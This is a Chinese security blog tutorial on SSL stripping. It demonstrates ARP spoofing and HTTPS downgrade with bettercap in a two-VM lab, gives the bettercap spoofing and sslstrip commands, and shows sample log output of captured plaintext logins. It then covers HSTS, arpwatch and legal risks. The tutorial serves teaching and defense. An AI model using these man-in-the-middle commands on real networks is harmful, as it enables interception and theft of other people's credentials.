返回首页

SSL剥离实战不-破解加密,骗你放弃加密

2026-08-15 00:50 · 网络安全
 
CYLOG  ·  SECURITY  LAB

SSL剥离实战

不破解加密,骗你放弃加密

 

[ROOT@CYLOG ~]# 网络安全教学日志

机场候机厅,我连上免费 Wi-Fi 准备查邮件。登录页弹出来,网址是 http 开头——地址栏没有锁头。我退出去换了个热点。

2026 年初欧洲某机场就出过这事:攻击者架设钓鱼热点,把用户的 HTTPS 会话降级成 HTTP,批量截获登录凭据。SSL 剥离不破解加密——它让你根本不用加密。

网络安全 · 黑客日常 · CYLOG SSL剥离实战 不破解加密,骗你放弃加密

—— 网络安全 · 黑客日常 · CYLOG SSL剥离实战 不破解加密,骗你放弃加密 机场候机厅,我连上免费 Wi-Fi 准

SSL 剥离:不破锁,骗你开门

用户访问 https://example.com 时,浏览器默认先试 HTTPS。攻击者的手法:在中间把 HTTPS 流量「掐掉」,回给用户一个 HTTP 响应或重定向——用户浏览器降级为 HTTP,之后所有流量明文传输。地址栏的锁头消失了,但大多数人不会注意。

要实现这一步,攻击者得先站在你和网站之间——这就是 ARP 欺骗的活:让受害机以为「网关的 MAC 就是攻击机的 MAC」,此后你所有的流量都先经过他。

下面我们来做一下预演
在开始之前先搞懂:ARP 欺骗凭什么能骗到你

ARP 是局域网里的「问路协议」:你的电脑想知道网关的 MAC 地址,就喊一嗓子「谁是 192.168.1.1,告诉我你的 MAC」。正常情况网关回答。

攻击者抢答:他主动广播「我是 192.168.1.1,我的 MAC 是 XX:XX」。你的电脑信了,把所有本该发给网关的流量都发给了他——中间人位置到手。ARP 协议从设计上就不验证身份,这是它被欺骗的根源。

好,原理懂了,继续
一、环境准备(先做对,再动手)
🖥️ 环境准备
攻击机:Kali Linux 2026.x(bettercap 2.x) 受害机:另一台 VM,浏览器访问 HTTP 站 靶站:本地搭建的 HTTP 测试站(或 DVWA 的 HTTP 版) 网络:Host-Only,攻击机开启 IP 转发做中间人
$ bash
# 攻击机开启 IP 转发(让受害机流量经过本机)
kali@attack:~$ sudo sysctl net.ipv4.ip_forward=1
# 期望输出:net.ipv4.ip_forward = 1
 
# 启动 bettercap(交互式)
kali@attack:~$ sudo bettercap -iface eth0
⚠️ 错误预演(翻车现场)
sysctl 改完不生效?①确认命令输出是 1 而不是 0;②重启后失效是正常的——临时生效,持久化要写 /etc/sysctl.conf;③bettercap 找不到网卡,用 ip addr 看实际网卡名(可能是 eth0 也可能是 ens33)。
二、完整复现:从中间人到明文密码
$ bash
# 第一步:ARP 欺骗(让流量经过你)
# bettercap 交互界面里依次执行:
set arp.spoof.targets 192.168.56.30 # 受害机 IP
set arp.spoof.fullduplex true # 双向欺骗(受害者↔网关都指向你)
arp.spoof on
 
# 验证:受害机 ping 网关,攻击机开 Wireshark 能看到流量经过
ARP 欺骗生效后,攻击机成为「透明网关」。此时受害机访问任何网站,请求都先到攻击机再转发——中间人位置到手。
⚠️ 错误预演(翻车现场)
流量没经过攻击机?①确认攻击机与受害机同网段;②fullduplex 必须开,否则只骗到单向;③虚拟机网络模式必须是 Host-Only/桥接——NAT 模式下 ARP 欺骗无效;④关闭攻击机防火墙干扰。ARP 欺骗在交换网络里也有效,别以为「交换机隔离」就安全。
$ bash
# 第二步:启动 SSL 剥离模块
# bettercap 内置 https.proxy + sslstrip 功能合并:
set https.proxy.sslstrip true
https.proxy on
http.proxy on
 
# 第三步:受害机访问 http:// 站点,攻击机日志观察:
bettercap 日志出现:
[ssl.strip] Detected HTTPS link -> https://example.com/login
[ssl.strip] Rewriting link to http://example.com/login
→ HTTPS 链接被改写成 HTTP。受害者在登录页输账号密码,bettercap 日志直接打出明文内容。
✅ 成功预演 · 结果解读
结果解读:攻击者无需破解任何加密——因为他让加密根本没发生。防御视角:浏览器地址栏锁头消失就是最大警报;企业应该全站 HSTS 强制 HTTPS(见下方防御)。
预演之后,我们需要知道的事
一、新旧对比:老式 SSL 剥离 vs HSTS 时代【技术的迭代】
维度 老式 SSL 剥离 HSTS 时代
原理 把 https 改写为 http 浏览器强制 HTTPS,拒绝 HTTP
绕过方式 无(2010 年代有效) 需 HSTS 预加载列表外的首次访问
现代状态 对已预加载站点无效 仍需防首次访问(HSTS preload 解决)
补充威胁 SSL 剥离升级为「HSTS 降级攻击」需配合证书伪造,门槛大幅提高
二、我们的防御怎么落地
🛡️ 防御清单
① 全站 HSTS:服务器响应头加 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload,并提交 hstspreload.org——一劳永逸。 ② 用户侧:公共 Wi-Fi 一律开 VPN;地址栏无锁头/锁头灰色 = 不要输入任何密码。 ③ 企业侧:公司 DNS 强制 HTTPS,禁用明文 HTTP 访问。 ④ 检测:Wi-Fi 环境用 Wireshark 观察大量 ARP 广播(欺骗特征),或部署 arpwatch。
$ bash
# HSTS 响应头配置(Nginx):
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
 
# Apache:
# Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
 
# 验证:curl -I https://你的域名 | grep -i strict
# 期望输出:strict-transport-security: max-age=31536000; includeSubDomains; preload
 
# 检测 ARP 欺骗:
kali@attack:~$ sudo apt install arpwatch && sudo systemctl enable --now arpwatch
# 有欺骗时日志出现:ethernet mismatch 告警
HSTS 头配置后,浏览器会记住「这个域名只准用 HTTPS」——之后攻击者再想剥离,浏览器直接拒绝 HTTP 连接。锁头,再也骗不掉了。
最后:让我们回到那个机场 Wi-Fi

那次我换了个热点,没中招。但同一个候机厅里,有多少人会在看到「无锁头」时停下来?大部分人的习惯是:弹窗要验证码?输。要手机号?给。要密码?也输了。

SSL 剥离不破解加密,它骗你放弃加密。HSTS 全站强制,锁头永不消失。

⚖️ 法律与风险边界
法律与风险边界:在公共网络实施中间人攻击截获他人数据,涉嫌《刑法》第 253 条之一(侵犯公民个人信息罪)、第 285 条(非法获取计算机信息系统数据罪);对他人 Wi-Fi 实施 ARP 欺骗属非法侵入网络行为,违反《网络安全法》。ARP 欺骗/SSL 剥离演示仅限自建实验网络(本教程为双虚拟机 Host-Only 环境)。未经授权实施中间人攻击,最高可处七年有期徒刑。
📚 延伸阅读
延伸阅读: ① Moxie Marlinspike 原版 sslstrip 论文(2009)— thoughtcrime.org/software/sslstrip ② bettercap 官方文档 — bettercap.org(https.proxy 模块说明) ③ OWASP Transport Layer Protection Cheat Sheet — owasp.org ④ HSTS Preload 提交 — hstspreload.org
— · END · —

🔐  本日志仅用于网络安全教学  ·  请勿用于非法用途

虚构日记 · 时间地点人物均已虚拟化 · 防御永远比攻击更有价值

 

网络安全 · 黑客日常

CYLOG

知己知彼,百战不殆。

文章目录
    ×

    如果觉得文章对您有用,请随意打赏。
    您的支持是我们继续创作的动力!

    微信打赏

    微信扫一扫

    支付宝打赏

    支付宝扫一扫

    发表评论

    请先 登录 再评论